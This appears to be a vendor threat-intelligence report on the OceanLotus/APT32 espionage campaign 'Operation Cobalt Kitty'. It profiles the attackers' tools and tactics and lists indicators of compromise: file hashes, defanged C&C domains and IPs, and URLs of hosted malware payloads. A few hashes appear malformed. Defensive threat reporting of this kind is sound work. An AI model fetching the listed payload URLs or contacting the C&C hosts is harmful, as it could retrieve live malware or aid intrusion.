```
using System;
using System.Net;


namespace WindowsFormsApplication1
{
    internal static class Program
    {
        [STAThread]
        private static void Main()
        {
            string value = string.Empty;
            try
            {
                WebClient webClient = new WebClient();
                value = webClient.DownloadString("http://ipinfo.io/ip");
            }
            catch (Exception ex)
            {
                value = ex.Message;
            }
            Console.WriteLine(value);
        }
    }
}
```



Operation Cobalt Kitty

Threat Actor Profile & Indicators of Compromise

By: Assaf Dahan



Attribution

In this APT, the threat actor was very aware of the risks of exposure and tried to combat attribution as much as possible. This is often the case in this type of large-scale cyber espionage operations. At the time of the attack, there weren't many classic indicators of compromise (IOCs) that could lead to attribution. However, at the same time, the threat actors behind Operation Cobalt Kitty left enough "behavioral fingerprints" to suspect the involvement of the **OceanLotus Group (which also goes by the names APT-C-00, SeaLotus and APT32)**, which was first documented by [Qihoo 360's SkyEye Labs in 2015](#) and further researched by other security companies, including [FireEye's](#) report. Reports of the group's activity in Asia [date back to 2012](#), attacking Chinese entities. Over the years, the group was observed attacking a wide spectrum of targets in other Asian countries (Philippines and Vietnam). Cybereason concludes that the tactics, techniques and procedures (TTPs) observed throughout operation Cobalt Kitty are consistent with the group's previous APT campaigns in Asia.

The Lotus Group appears to have a tendency of using similar and even identical names for their payloads (seen in their PowerShell payloads, Denis backdoor and fake Flash installers). In addition, they also used similar anonymization services for their domains repeatedly. That type of "small" details also played a role in attributing Operation Cobalt Kitty to the OceanLotus Group.

Lastly, during the investigation, Cybereason noticed that some of the C&C domains and IPs started to emerge on VirusTotal and other threat intelligence engines, with payloads that were not observed during Cobalt Kitty. This was a cutting proof that Cobalt Kitty was not an isolated APT, but part of something bigger. Example of the C&C domains and IPs used by the group across different APT campaigns and caught in the wild:

*.chatconnecting(.)com blog.verSIGN(.)com vieweva(.)com tulationeva(.)com	teriava(.)com tonholding(.)com nsquery(.)net notificeva(.)com	23.227.196(.)210 104.237.218(.)72 45.114.117(.)137
--	--	--

Some of these domains were also mentioned in FireEye's [APT32 report](#), further confirming our suspicions that the group behind the attack is the OceanLotus Group.

The group includes members who are fluent in at least two Asian languages. This claim is supported by the language used in the spear-phishing emails, which appear to be written by native speakers. In addition, the language localization settings found in few of the payloads suggest that the malware authors compiled the payloads on machines with Asian languages

support. The threat actors are not likely native English speakers since multiple typos were found in their payloads.

For example, the following typo was observed in the file metadata of one of the backdoors. Notice the “Internal Name” field (“Google Update”):

File Description:	Google Update
Internal Name:	Geogle Update
Original Filename:	goopdate.dll
Product Version (ASCII):	1.3.31.5

Threat Actor Profile

The attackers behind **Operation Cobalt Kitty** were extremely persistent. Even when their campaign was exposed, the attackers did not give up. They took “pauses” that lasted between 48 hours and four weeks and used the downtime to learn from their “mistakes” and develop workarounds before resuming the APT campaign.

The members of the **OceanLotus Group** demonstrated a remarkable ability to quickly adapt, introduce new tools and fine tune existing ones to bypass security solutions and avoid detection. The high number of payloads and the elaborate C2 infrastructure used in this attack can be indicative of the resources that the attackers had at their disposal. Simultaneously orchestrating multiple APT campaigns of such magnitude and sophistication takes time, financial resources and a large team who can support it.

Threat actor’s main characteristics

Here are the main characteristics that can help profile the threat actor:

- **Motivation** - Based on the nature of the attack, the proprietary information that the attackers were after and the high-profile personnel who were targeted, Cybereason concluded the main motivation behind the attack was cyber espionage. The attacker sought after specific documents and type of information. This is consistent with [previous reports](#) about the group’s activity show that the group has a very wide range of targets, spanning from government agencies, media, business sector, and more.

- **Operational working hours** - Most of the malicious activity was mostly done around normal business hours (8AM-8PM). Very little active hacking activity was detected during weekends. The attackers showed a slight tendency to carry out hacking operations towards the afternoon and evening time. These observations can suggest the following:
 - Time zone(s) proximity.
 - An institutionalized threat actor (possibly nation-state)
- **Outlook backdoor and data exfiltration** - One of the most interesting tools introduced by the attackers was the Outlook backdoor, which used Outlook as a C2 channel. This backdoor has not been publicly documented and is one of the most unique TTPs with regards to the threat actor. Outlook backdoors are not a new concept and have been observed in different APTs [in the past](#). However, this specific type of Outlook backdoor is can be considered as one of the “signature tools” of the OceanLotus Group.
- **Publicly available tools** - The attackers showed a clear preference to use publicly available hacking tools and frameworks. Beyond being spared the hassle of creating a new tool, it is much harder to attribute a tool that can be used by anyone rather than a custom-made tool. However, the attackers should not be considered script-kiddies. Most of the publicly available tools were either obfuscated, modified and even merged with other tools to evade antivirus detection. This type of customization requires good coding skills and understanding of how those tools work.
- **Cobalt Strike usage in APT** - [Cobalt Strike](#) is a commercial offensive security framework designed to simulate complex attacks and is mainly used by security professionals in security audits and penetration testing. The **OceanLotus Group** [was previously documented](#) using [Cobalt Strike](#) as one of its main tools. Other Large scale APTs using Cobalt Strike have been reported before, such as [APT-TOCS](#) (could be related to OceanLotus), [Ordinaff](#), [Carbanak Group](#), and the [Cobalt Group](#).
- **Custom-built backdoors** - The threat actor used very sophisticated and stealthy backdoors (Denis & Goopy) that were written by highly skilled malware authors. During the attack, the authors introduced new variants of these backdoors, indicating “on-the-fly” development capabilities. Developing such state-of-the-art backdoors requires skillful malware authors, time and resources. In addition, both the Denis and Goopy backdoors used DNS Tunneling for C2 communication. The OceanLotus Group is known to have a backdoor [dubbed SOUNDBITE by FireEye](#) that use this stealthy technique. However, no public analysis reports of SOUNDBITE is available to the time of writing this report.
- **Exploiting DLL hijacking in trusted applications** - The attackers exploited three DLL-hijacking vulnerabilities in legitimate applications from trusted vendors: **Microsoft, Google and Kaspersky**. This further indicates the group’s emphasis on vulnerability research. DLL-hijacking / Side-loading attacks are not uncommon in APTs, some of which are also carried out by nation-state actors and advanced cyber-crime groups.

There have been reports in the past of [GoogleUpdate exploited by PlugX](#) by [Chinese threat actors](#) as well as the [Bookworm RAT](#) exploiting Microsoft and Kaspersky applications in [APTs targeting Asia](#).

- **Insisting on fileless operation** - While fileless delivery infrastructure is not a feature that can be attributed to one specific group, it is still worth mentioning since the attackers went out of their way to restore the script-based PowerShell / Visual Basic operation, especially after PowerShell execution had been disabled in the entire organization.
- **C&C infrastructure**
 - **Divide and conquer** - Each tool communicated with different sets of C&C servers domains, which usually came in triads. For instance, Cobalt strike payloads communicated with certain sets of IPs/domains while the backdoors communicated with different sets of IPs/domains.
 - **Re-use of domains and IPs across campaigns** - Quite a few domains and IPs that were observed in Operation Cobalt Kitty were found in-the-wild, attacking other targets. It's rather peculiar why the threat actor re-used the same domains and IPs. It could be assumed that the malware operators wanted to have centralized C&C servers per tool or tools, where they could monitor all of their campaigns from dedicated servers.
 - **Anonymous DNS records** - Most of the domains point to companies that provide DNS data privacy and anonymization, such as [PrivacyProtect](#) and [PrivacyGuardian](#).
 - **C&C server protection** - Most of the C&C servers IP addresses are protected by [CloudFlare](#) and [SECURED SERVERS LLC](#).

OceanLotus Group activity in Asia


As part of the analysis of the domains and IPs that were used in this operation, Cybereason found samples that were caught “in-the-wild” (that were **not** part of Operation Cobalt Kitty). Analysis of those samples clearly indicates the involvement of the threat actor in Asia and Vietnam in particular. Both Qihoo 360 and FireEye demonstrate in their reports that the threat actor is involved in campaigns in different Asian countries, such as Vietnam, China, and the Philippines.

Most of the samples caught in-the-wild seem to target Vietnamese speakers. Some of the samples exhibit clear evidence of targeting Vietnamese entities. This conclusion is derived from the file names and file contents that are written in Vietnamese, as shown in the examples below:

File Name: Điện thoại bị cháy.doc

SHA-1: 38297392df481d2ecf00cc7f05ce3361bd575b04

Malicious Domain / IP: 193.169.245(.)137



File Name: ID2016.doc

SHA-1: bfb3ca77d95d4f34982509380f2f146f63aa41bc

Malicious Domain / IP: support.chatconnecting(.)com



File Name: Giấy yêu cầu bồi thường mới 2016 - Hằng.doc (Translation: "New Claim Form 2016")

SHA-1: A5bddb5b10d673cbfe9b16a062ac78c9aa75b61c

Malicious Domain / IP: blog.versign(.)info



Indicators of Compromise (IOCs)

Malicious files

Backdoors	
File name	SHA-1 hash
Msfte.dll ----- Variant of Backdoor.Win32.Denis	be6342fc2f33d8380e0ee5531592e9f676bb1f94 638b7b0536217c8923e856f4138d9caff7eb309d dcbe007ac5684793ea34bf27daa2952c4e84d12 43b85c5387aafb91aea599782622eb9d0b5b151f
Goopdate.dll ----- Goopy backdoor	9afe0ac621c00829f960d06c16a3e556cd0de249 973b1ca8661be6651114edf29b10b31db4e218f7 1c503a44ed9a28aad1fa3227dc1e0556bbe79919 2e29e61620f2b5c2fd31c4eb812c84e57f20214a c7b190119cec8c96b7e36b7c2cc90773cffd81fd 185b7db0fec0236dff53e45b9c2a446e627b4c6a ef0f9aaf16ab65e4518296c77ee54e1178787e21
product_info.dll [Backdoor exploiting DLL-hijacking against Kaspersky Avpia]	3cf4b44c9470fb5bd0c16996c4b2a338502a7517
VbaProject.OTM [Outlook Macro]	320e25629327e0e8946f3ea7c2a747ebd37fe26f
sunjascheduler.ps1 sndVolSSO.ps1 SCVHost.ps1 fhsvcs.ps1 Goztp.ps1 [PowerShell versions of the Denis / Goopy backdoors]	0d3a33cb848499a9404d099f8238a6a0e0a4b471 c219a1ac5b4fd6d20a61bb5fdf68f65bbd40b453 91e9465532ef967c93b1ef04b7a906aa533a370e
Cobalt Strike Beacons	

File name	SHA-1 hash
dns.exe	cd675977bf235eac49db60f6572be0d4051b9c07
msfte.dll	2f8e5f81a8ca94ec36380272e36a22e326aa40a4
FVEAPI.dll	01197697e554021af1ce7e980a5950a5fcf88318
sunjascheduler.ps1 syscheck.ps1 dns.ps1 activator.ps1 nvidia.db	7657769f767cd021438fcce96a6befaf3bb2ba2d Ed074a1609616fdb56b40d3059ff4bebe729e436 D667701804CA05BB536B80337A33D0714EA28129 F45A41D30F9574C41FE0A27CB121A667295268B2 7F4C28639355B0B6244EADBC8943E373344B2E7E

Malicious Word Documents

***Some of the phishing emails and Word documents were very targeted and personalized, therefore, they are not listed here for privacy reasons

File name	SHA-1 hash
CV.doc Complaint letter.doc License Agreement.doc	[redacted]

Loader scripts

File name	SHA-1 hash
syscheck.vbs	62749484f7a6b4142a2b5d54f589a950483dfcc9
SndVolSSO.txt	cb3a982e15ae382c0f6bdacc0fcec3a9d4a068d

sunjascheduler.txt	7a02a835016bc630aa9e20bc4bc0967715459daa
Obfuscated / customized Mimikatz	
File name	SHA-1 hash
dllhosts.exe	5a31342e8e33e2bbe17f182f2f2b508edb20933f 23c466c465ad09f0ebeca007121f73e5b630ecf6 14FDEF1F5469EB7B67EB9186AA0C30AFAF77A07C
KB571372.ps1	7CADFB90E36FA3100AF45AC6F37DC55828FC084A
KB647152.exe	7BA6BFEA546D0FC8469C09D8F84D30AB0F20A129
KB647164.exe	BDCADEAE92C7C662D771507D78689D4B62D897F9
kb412345.exe	e0aaa10bf812a17bb615637bf670c785bca34096
kb681234.exe	4bd060270da3b9666f5886cf4eeaf3164fad438
System.exe	33cb4e6e291d752b9dc3c85dfef63ce9cf0dbfbc 550f1d37d3dd09e023d552904cdfb342f2bf0d35
decoded base64 Mimikatz payload	c0950ac1be159e6ff1bf6c9593f06a3f0e721dd4
Customized credential dumpers	
File name	SHA-1 hash

log.exe [GetPassword_x64]	7f812da330a617400cb2ff41028c859181fe663f
SRCHUI.dll adrclients.dll [HookPasswordChange]	29BD1BAC25F753693DF2DDF70B83F0E183D9550D FC92EAC99460FA6F1A40D5A4ACD1B7C3C6647642
KB471623.exe [Custom password dumper]	6609A347932A11FA4C305817A78638E07F04B09F
doutlook.ps1 adobe.dat adrclients.ps1 [Custom password dumper]	EBDD6059DA1ABD97E03D37BA001BAD4AA6BCBABD B769FE81996CBF7666F916D741373C9C55C71F15 E64C2ED72A146271CCEE9EE904360230B69A2C1D
Miscellaneous tools	
File name	SHA-1 hash
pshdll35.dll pshdll40.dll [PSUnlock - PowerShell Bypass tool]	52852C5E478CC656D8C4E1917E356940768E7184 EDD5D8622E491DFA2AF50FE9191E788CC9B9AF89
KB-10233.exe kb74891.exe [NetCat]	C5e19c02a9a1362c67ea87c1e049ce9056425788 0908a7fbc74e32cded8877ac983373ab289608b3
IP.exe cmd.exe dllhost.exe [IP check Tool]	6aec53554f93c61f4e3977747328b8e2b1283af2

Payloads from C&C servers

URL	Payload SHA-1 hash
-----	--------------------

hxxp://104.237.218(.)67:80/icon.ico	6dc7bd14b93a647ebb1d2eccb752e750c4ab6b09
hxxp://support.chatconnecting(.)com:80/icon.ico	c41972517f268e214d1d6c446ca75e795646c5f2
hxxp://food.letsmiles(.)org/login.txt	9f95b81372eaf722a705d1f94a2632aad5b5c180
hxxp://food.letsmiles(.)org/9niL	5B4459252A9E67D085C8B6AC47048B276C7A6700
hxxp://23.227.196(.)210:80/logscreen.jpg	d8f31a78e1d158032f789290fa52ada6281c9a1f50fec977ee3bfb6ba88e5dd009b81f0cae73955e
hxxp://45.114.117(.)137/eXYF	D1E3D0DDE443E9D294A39013C0D7261A411FF1C491BD627C7B8A34AB334B5E929AF6F981FCEBF268
hxxp://images.verginnet(.)info:80/ppap.png	F0A0FB4E005DD5982AF5CFD64D32C43DF79E1402
hxxp://176.107.176(.)6/QVPh	8FC9D1DADF5CEF6CFE6996E4DA9E4AD3132702C
hxxp://108.170.31(.)69/a	4a3f9e31dc6362ab9e632964caad984d1120a1a7
hxxp://support(.)chatconnecting(.)com/pic.png	bb82f02026cf515eab2cc88faa7d18148f424f72
hxxp://blog.versign(.)info/access/?version=4&lid=[redacted]&token=[redacted]	9e3971a2df15f5d9eb21d5da5a197e763c035f7a
hxxp://23.227.196(.)210/6tz8	bb82f02026cf515eab2cc88faa7d18148f424f72
hxxp://23.227.196(.)210/QVPh	8fc9d1dadf5cef6cfe6996e4da9e4ad3132702c5
hxxp://45.114.117(.)137/3mkQ	91bd627c7b8a34ab334b5e929af6f981fceb268
hxxp://176.223.111(.)116:80/download/sido.jpg	5934262D2258E4F23E2079DB953DBEBED8F07981
hxxp://110.10.179(.)65:80/ptF2	DA2B3FF680A25FFB0DD4F55615168516222DFC10
hxxp://110.10.179(.)65:80/download/microsoft.jpg	23EF081AF79E92C1FBA8B5E622025B821981C145
hxxp://110.10.179(.)65:80/download/microsoft.jpg	C845F3AF0A2B7E034CE43658276AF3B3E402EB7B

hxxp://27.102.70(.)211:80/image.jpg	9394B5EF0B8216528CED1FEE589F3ED0E88C7155
-------------------------------------	--

C&C IPs

45.114.117(.)137
104.24.119(.)185
104.24.118(.)185
23.227.196(.)210
23.227.196(.)126
184.95.51(.)179
176.107.177(.)216
192.121.176(.)148
103.41.177(.)33
184.95.51(.)181
23.227.199(.)121
108.170.31(.)69
104.27.167(.)79
104.27.166(.)79
176.107.176(.)6
184.95.51(.)190
176.223.111(.)116
110.10.179(.)65
27.102.70(.)211

C&C Domains

food.letsmiles(.)org
help.chatconnecting(.)com
*.letsmiles(.)org
support.chatconnecting(.)com
inbox.mailboxhus(.)com
blog.versign(.)info
news.blogtrands(.)net
stack.inveglob(.)net
tops.gamecouusers(.)com
nsquery(.)net
tonholding(.)com
cloudwsus(.)net
nortonudt(.)net
teriava(.)com
tulationeva(.)com

vieweva(.)com
 notificeva(.)com
 images.verginnet(.)info
 id.madsmans(.)com
 lvjustin(.)com
 play.paramountgame(.)com

Appendix A: Threat actor payloads caught in the wild

Domain	Details	VirusTotal
inbox.mailboxhus(.)com support.chatconnecting(.)com (45.114.117.137)	File name: Flash.exe SHA-1: 01ffc3ee5c2c560d29aaa8ac3d17f0ea4f6c0c09 Submitted: 2016-12-28 09:51:13	Link
inbox.mailboxhus(.)com support.chatconnecting(.)com (45.114.117[.]137)	File name: Flash.exe SHA-1: 562aeced9f83657be218919d6f443485de8fae9e Submitted: 2017-01-18 19:00:41	Link
support.chatconnecting(.)com (45.114.117[.]137)	URL: hxxp://support(.)chatconnecting.com/2nx7m Submitted: 2017-01-20 10:11:47	Link
support.chatconnecting(.)com (45.114.117[.]137)	File name: ID2016.doc SHA-1: bfb3ca77d95d4f34982509380f2f146f63aa41bc Submitted: 2016-11-23 08:18:43 Malicious Word document (Phishing text in Vietnamese)	Link
blog(.)versign(.)info (23.227.196[.]210)	File name: tx32.dll SHA-1: 604a1e1a6210c96e50b72f025921385fad943ddf Submitted: 2016-08-15 04:04:46	Link
blog(.)versign(.)info (23.227.196[.]210)	File name: Giấy yêu cầu bồi thường mới 2016 - Hằng.doc SHA-1: a5bddb5b10d673cbfe9b16a062ac78c9aa75b61c Submitted: 2016-10-06 11:03:54 Malicious Word document with Phishing text in Vietnamese	Link

blog(.)versign(.)info (23.227.196[.]210)	File name: Thong tin.doc SHA-1: a5fbcabc17a1a0a4538fd987291f8dafd17878e33 Submitted: 2016-10-25 Malicious Word document with Phishing text in Vietnamese	Link
Images.verginnet(.)info id.madsmans(.)com (176.107.176[.]6)	File name: WinWord.exe SHA-1: ea67b24720da7b4adb5c7a8a9e8f208806fbc198 Submitted: Cobalt Strike payload Downloads hxxp://images.verginnet(.)info/2NX7M Using Cobalt Strike malleable c2 oscp profile	Link
tonholding(.)com nsquery(.)net	File name: SndVolSSO.exe SHA-1: 1fef52800fa9b752b98d3cbb8fff0c44046526aa Submitted: 2016-08-01 09:03:58 Denis Backdoor Variant	Link
tonholding(.)com nsquery(.)net	File name: Xwizard / KB12345678.exe SHA-1: d48602c3c73e8e33162e87891fb36a35f621b09b Submitted: 2016-08-01	Link
teriava(.)com	File name: CiscoEapFast.exe SHA-1: 77dd35901c0192e040deb9cc7a981733168afa74 Submitted: 2017-02-28 16:37:12 Denis Backdoor Variant	Link

Appendix B: Denis Backdoor samples in the wild

File name	SHA-1	Domain
msprivs.exe	97fdab2832550b9fea80ec1b9c182f5139e9e947	teriava(.)com
WerFault.exe	F25d6a32aef1161c17830ea0cb950e36b614280d	teriava(.)com
msprivs.exe	1878df8e9d8f3d432d0bc8520595b2adb952fb85	teriava(.)com
CiscoEapFast.exe 094.exe	1a2cd9b94a70440a962d9ad78e5e46d7d22070d0	teriava(.)com, tulationeva(.)com,

		notificeva(.)com
CiscoEapFast.exe	77dd35901c0192e040deb9cc7a981733168afa74	teriava(.)com, tulationeva(.)com, notificeva(.)com
SwUSB.exe F:\malware\Anh Duong\lsma.exe	88d35332ad30964af4f55f1e44c951b15a109832	gl-appspot(.)org tonholding(.)com nsquery(.)net
Xwizard.exe KB12345678.exe	d48602c3c73e8e33162e87891fb36a35f621b09b	tonholding(.)com nsquery(.)net
SndVolSSO.exe	1fef52800fa9b752b98d3cbb8ff0c44046526aa	tonholding(.)com nsquery(.)net



Cybereason is the leader in endpoint protection, offering endpoint detection and response, next-generation antivirus, and active monitoring services. Founded by elite intelligence professionals born and bred in offense-first hunting, Cybereason gives enterprises the upper hand over cyber adversaries. The Cybereason platform is powered by a custom-built in-memory graph, the only truly automated hunting engine anywhere. It detects behavioral patterns across every endpoint and surfaces malicious operations in an exceptionally user-friendly interface. Cybereason is privately held and headquartered in Boston with offices in London, Tel Aviv, and Tokyo.

